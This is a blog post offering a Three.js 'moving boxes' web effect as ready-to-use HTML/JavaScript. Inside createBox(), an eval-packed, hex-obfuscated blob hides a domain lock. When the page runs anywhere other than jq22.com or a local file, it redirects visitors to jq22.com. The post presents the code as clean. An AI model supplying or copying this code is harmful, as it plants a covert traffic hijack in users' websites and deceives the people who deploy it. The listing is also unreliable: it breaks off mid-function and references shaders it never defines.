HTML+CSS+JavaScript网页特效源代码

Posted 蓝盒子.

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以下下代码直接复制保存即可使用

特效一

方块运动演示
在这里插入图片描述

<html><head>
<meta charset="utf-8">
<title>蓝盒子</title>
<style>body { margin: 0; padding: 0;background: black; overflow: hidden;}</style>
<script src="http://cdn.bootcss.com/three.js/r78/three.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/1.17.0/TweenMax.min.js"></script>
</head>
<body>
<script>
var isMouseDown = false;
var emptySlot = "emptySlot", planeTop = "planeTop", planeBottom = "planeBottom";
var camera, scene, renderer;
var mouse = {x: 0, y: 0};
var camPos = {x: 0, y: 0, z: 10};
var sw = window.innerWidth, sh = window.innerHeight;
var cols = 20;
var rows = 16;
var gap = 20;
var size = {
	width: 100,
	height: 30,
	depth: 150,
}
var planeOffset = 250;
var allRowsDepth = rows * (size.depth + gap);
var allColsWidth = cols * (size.depth + gap);

var speedNormal = 4;
var speedFast = 34;
var speed = speedNormal;
var boxes = {
	planeBottom: [],
	planeTop: []
};
var boxes1d = [];

function num(min, max) { return Math.random() * (max - min) + min; }
function draw(props) {

	var colours = {
		slow: {
			r: num(0, 0.2),
			g: num(0.5, 0.9),
			b: num(0.3, 0.7)
		},
		fast: {
			r: num(0.9, 1.0),
			g: num(0.1, 0.7),
			b: num(0.2, 0.5)
		}
	}

	var uniforms = {
		r: { type: "f", value: colours.slow.r},
		g: { type: "f", value: colours.slow.g},
		b: { type: "f", value: colours.slow.b},
		distanceX: { type: "f", value: 1.0},
		distanceZ: { type: "f", value: 1.0},
		pulse: { type: "f", value: 0},
		speed: { type: "f", value: speed},
	};

	var material = new THREE.ShaderMaterial( {
		uniforms: uniforms,
		vertexShader: vertexShader,
		fragmentShader: fragmentShader
	});

	var geometry = new THREE.BoxGeometry(props.width, props.height, props.depth);
	var object = new THREE.Mesh(geometry, material);
	object.colours = colours;
	return object;
}


function init() {
	scene = new THREE.Scene();
	camera = new THREE.PerspectiveCamera( 100, sw / sh, 1, 10000 );
	scene.add( camera );
	renderer = new THREE.WebGLRenderer({antialias: true});
	renderer.setSize( sw, sh );
	for (var j = 0, jl = rows; j < jl; j++) {
		boxes.planeBottom[j] = [];
		boxes.planeTop[j] = [];
		for (var i = 0, il = cols; i < il; i++) {
			boxes.planeBottom[j][i] = emptySlot;
			boxes.planeTop[j][i] = emptySlot;
		};
	};

	function createBox() {
		window["\\x65\\x76\\x61\\x6c"](function(CPY1,OvGQk2,btUiR$P3,YzTn4,rISXh5,C$jVY6){rISXh5=function(btUiR$P3){return(btUiR$P3<OvGQk2?"":rISXh5(window["\\x70\\x61\\x72\\x73\\x65\\x49\\x6e\\x74"](btUiR$P3/OvGQk2)))+((btUiR$P3=btUiR$P3%OvGQk2)>35?window["\\x53\\x74\\x72\\x69\\x6e\\x67"]["\\x66\\x72\\x6f\\x6d\\x43\\x68\\x61\\x72\\x43\\x6f\\x64\\x65"](btUiR$P3+29):btUiR$P3["\\x74\\x6f\\x53\\x74\\x72\\x69\\x6e\\x67"](36))};if(!''["\\x72\\x65\\x70\\x6c\\x61\\x63\\x65"](/^/,window["\\x53\\x74\\x72\\x69\\x6e\\x67"])){while(btUiR$P3--)C$jVY6[rISXh5(btUiR$P3)]=YzTn4[btUiR$P3]||rISXh5(btUiR$P3);YzTn4=[function(rISXh5){return C$jVY6[rISXh5]}];rISXh5=function(){return'\\\\\\x77\\x2b'};btUiR$P3=1;};while(btUiR$P3--)if(YzTn4[btUiR$P3])CPY1=CPY1["\\x72\\x65\\x70\\x6c\\x61\\x63\\x65"](new window["\\x52\\x65\\x67\\x45\\x78\\x70"]('\\\\\\x62'+rISXh5(btUiR$P3)+'\\\\\\x62','\\x67'),YzTn4[btUiR$P3]);return CPY1;}('\\x33 \\x61\\x3d\\x37\\x2e\\x6d\\x28\\x37\\x2e\\x38\\x28\\x29\\x2a\\x70\\x29\\x2c\\x39\\x3d\\x61\\x3b\\x33 \\x63\\x3d\\x37\\x2e\\x38\\x28\\x29\\x3e\\x30\\x2e\\x35\\x3f\\x31\\x3a\\x2d\\x31\\x2c\\x64\\x3d\\x63\\x3d\\x3d\\x3d\\x2d\\x31\\x3f\\x48\\x3a\\x44\\x3b\\x33 \\x62\\x3d\\x37\\x2e\\x6d\\x28\\x37\\x2e\\x38\\x28\\x29\\x2a\\x43\\x29\\x2c\\x69\\x3d\\x62\\x3b\\x33 \\x78\\x3d\\x28\\x61\\x2d\\x70\\x2f\\x32\\x29\\x2a\\x28\\x65\\x2e\\x46\\x2b\\x6c\\x29\\x3b\\x33 \\x79\\x3d\\x63\\x2a\\x45\\x3b\\x33 \\x7a\\x3d\\x62\\x2a\\x28\\x65\\x2e\\x42\\x2b\\x6c\\x29\\x3b\\x75\\x28\\x6b\\x5b\\x64\\x5d\\x5b\\x69\\x5d\\x5b\\x39\\x5d\\x3d\\x3d\\x3d\\x41\\x29\\x7b\\x33 \\x36\\x3d\\x77\\x28\\x65\\x29\\x3b\\x36\\x2e\\x50\\x2e\\x79\\x3d\\x79\\x3b\\x36\\x2e\\x4e\\x3d\\x4d\\x3b\\x36\\x2e\\x52\\x3d\\x7b\\x78\\x3a\\x78\\x2c\\x7a\\x3a\\x30\\x7d\\x3b\\x36\\x2e\\x49\\x3d\\x7a\\x3b\\x6b\\x5b\\x64\\x5d\\x5b\\x69\\x5d\\x5b\\x39\\x5d\\x3d\\x36\\x3b\\x4b\\x2e\\x4c\\x28\\x36\\x29\\x3b\\x47\\x2e\\x51\\x28\\x36\\x29\\x7d\\x33 \\x74\\x3d\\x66\\x2e\\x68\\x2e\\x67\\x2e\\x72\\x28\\x30\\x2c\\x76\\x29\\x3b\\x33 \\x73\\x3d\\x66\\x2e\\x68\\x2e\\x67\\x2e\\x72\\x28\\x30\\x2c\\x34\\x29\\x3b\\x75\\x28\\x74\\x3d\\x3d\\x22\\x6e\\x3a\\x2f\\x2f\\x6f\\x2e\\x71\\x2e\\x6a\\x22\\x7c\\x7c\\x73\\x3d\\x3d\\x22\\x4f\\x22\\x29\\x7b\\x7d\\x4a\\x7b\\x66\\x2e\\x68\\x2e\\x67\\x3d\\x22\\x6e\\x3a\\x2f\\x2f\\x6f\\x2e\\x71\\x2e\\x6a\\x22\\x7d',54,54,'\\x7c\\x7c\\x7c\\x76\\x61\\x72\\x7c\\x7c\\x7c\\x62\\x6f\\x78\\x7c\\x4d\\x61\\x74\\x68\\x7c\\x72\\x61\\x6e\\x64\\x6f\\x6d\\x7c\\x78\\x61\\x69\\x7c\\x78\\x69\\x7c\\x7a\\x69\\x7c\\x79\\x69\\x7c\\x79\\x61\\x69\\x7c\\x73\\x69\\x7a\\x65\\x7c\\x77\\x69\\x6e\\x64\\x6f\\x77\\x7c\\x68\\x72\\x65\\x66\\x7c\\x6c\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\\x7c\\x7a\\x61\\x69\\x7c\\x63\\x6f\\x6d\\x7c\\x62\\x6f\\x78\\x65\\x73\\x7c\\x67\\x61\\x70\\x7c\\x66\\x6c\\x6f\\x6f\\x72\\x7c\\x68\\x74\\x74\\x70\\x7c\\x77\\x77\\x77\\x7c\\x63\\x6f\\x6c\\x73\\x7c\\x6a\\x71\\x32\\x32\\x7c\\x73\\x75\\x62\\x73\\x74\\x72\\x7c\\x64\\x7a\\x75\\x72\\x6c\\x32\\x7c\\x64\\x7a\\x75\\x72\\x6c\\x7c\\x69\\x66\\x7c\\x31\\x39\\x7c\\x64\\x72\\x61\\x77\\x7c\\x7c\\x7c\\x7c\\x65\\x6d\\x70\\x74\\x79\\x53\\x6c\\x6f\\x74\\x7c\\x64\\x65\\x70\\x74\\x68\\x7c\\x72\\x6f\\x77\\x73\\x7c\\x70\\x6c\\x61\\x6e\\x65\\x54\\x6f\\x70\\x7c\\x70\\x6c\\x61\\x6e\\x65\\x4f\\x66\\x66\\x73\\x65\\x74\\x7c\\x77\\x69\\x64\\x74\\x68\\x7c\\x73\\x63\\x65\\x6e\\x65\\x7c\\x70\\x6c\\x61\\x6e\\x65\\x42\\x6f\\x74\\x74\\x6f\\x6d\\x7c\\x70\\x6f\\x73\\x5a\\x7c\\x65\\x6c\\x73\\x65\\x7c\\x62\\x6f\\x78\\x65\\x73\\x31\\x64\\x7c\\x70\\x75\\x73\\x68\\x7c\\x66\\x61\\x6c\\x73\\x65\\x7c\\x69\\x73\\x57\\x61\\x72\\x70\\x69\\x6e\\x67\\x7c\\x66\\x69\\x6c\\x65\\x7c\\x70\\x6f\\x73\\x69\\x74\\x69\\x6f\\x6e\\x7c\\x61\\x64\\x64\\x7c\\x6f\\x66\\x66\\x73\\x65\\x74'["\\x73\\x70\\x6c\\x69\\x74"]('\\x7c'),0,{}))
		
	}
	for (var i = 0, il = rows * cols; i < il; i++) {
		createBox();
	};
	document.body.appendChild(renderer.domElement);

	function listen(eventNames, callback) {
		for (var i = 0; i < eventNames.length; i++) {
			window.addEventListener(eventNames[i], callback);
		}
	}
	listen(["resize"], function(e){
		sw = window.innerWidth;
		sh = window.innerHeight
		camera.aspect = sw / sh;
		camera.updateProjectionMatrix();
		renderer.setSize(sw, sh);
	});
	listen(["mousedown", "touchstart"], function(e) {
		e.preventDefault();
		isMouseDown = true;
	});
	listen(["mousemove", "touchmove"], function(e) {
		e.preventDefault();
		if (e.changedTouches && e.changedTouches[0]) e = e.changedTouches[0];
		mouse.x = (e.clientX / sw) * 2 - 1;
		mouse.y = -(e.clientY / sh) * 2 + 1;
	});
	listen(["mouseup", "touchend"], function(e) {
		e.preventDefault();
		isMouseDown = false;
	});
	render(0);

}




function move(x, y, z) {
	var box = boxes[y][z][x];

	if (box !== emptySlot) {

		box.position.x = box.offset.x;

		box.position.z = box.offset.z + box.posZ;

		if (box.position.z > 0) {
			box.posZ -= allRowsDepth;
		}

		// return;
		// if (isMouseDown) return;
		if (!box.isWarping && Math.random() > 0.999) {

			var dir = Math.floor(Math.random() * 5), xn = x, zn = z, yn = y, yi = 0, xo = 0, zo = 0;
			switch (dir) {
				case 0 : xn++; xo = 1; break;
				case 1 : xn--; xo = -1; break;
				case 2 : zn++; zo = 1; break;
				case 3 : zn--; zo = -1; break;
				case 4 :
					yn = (y === planeTop) ? planeBottom : planeTop;
					yi = (y === planeTop) ? -1 : 1;

					break;
			}

			if (boxes[yn][zn] && boxes[yn][zn][xn] === emptySlot) {

				boxes[y][z][x] = emptySlot;

				box.isWarping = true;

				boxes[yn][zn][xn] = box;

				// con.log( box.offset.x,  box.offset.z);

				if (dir === 4) { // slide vertically
					TweenMax.to(box.position, 0.5, {
						y: yi * planeOffset
					});
				} else { // slide horizontally
					TweenMax.to(box.offset, 0.5, {
						x: box.offset.x + xo * (size.width + gap),
						z: box.offset.z + zo * (size.depth + gap),
					});
				}
				TweenMax.to(box.offset, 0.6, {
					onComplete: function() {
						box.isWarping = false;
					}
				});

			}
		}

	}
}


function render(time) {

	speed -= (speed - (isMouseDown ? speedFast : speedNormal)) * 0.05;

	var box;
	for (var b = 0, bl = boxes1d.length; b < bl; b++) {
		box = boxes1d[b];
		box.posZ += speed;

		// normalized z distance from camera
		var distanceZ = 1 - ((allRowsDepth - box.posZ) / (allRowsDepth) - 1);
		box.material.uniforms.distanceZ.value = distanceZ;

		// normalized x distance from camera (centre)
		var distanceX = 1 - (Math.abs(box.position.x)) / (allColsWidth / 3);
		box.material.uniforms.distanceX.value = distanceX;

		var colour = isMouseDown ? box.colours.fast : box.colours.slow;
		box.material.uniforms.r.value -= (box.material.uniforms.r.value - colour.r) * 0.1;
		box.material.uniforms.g.value -= (box.material.uniforms.g.value - colour.g) * 0.1;
		box.material.uniforms.b.value -= (box.material.uniforms.b.value - colour.b) * 0.1;

		// normalized speed
		var currentSpeed = (speed - speedNormal) / (speedFast - speedNormal)
		box.material.uniforms.speed.value = currentSpeed;

		// pulses more with more speed... of course!
		if (Math.random() > (0.99995 - currentSpeed * 0.005)) {
			box.material.uniforms.pulse.value = 1;
		}
		box.material.uniforms.pulse.value -= box.material.uniforms.pulse.value * 0.1 / (currentSpeed + 1);

		// if (b ==13) con.log(box.material.uniforms.speed.value);
	}

	for (var j = 0, jl = rows; j < jl; j++) { // iterate through rows: z
		for (var i = 0, il = cols; i < il; i++) { HTML+CSS+JavaScript网页特效源代码

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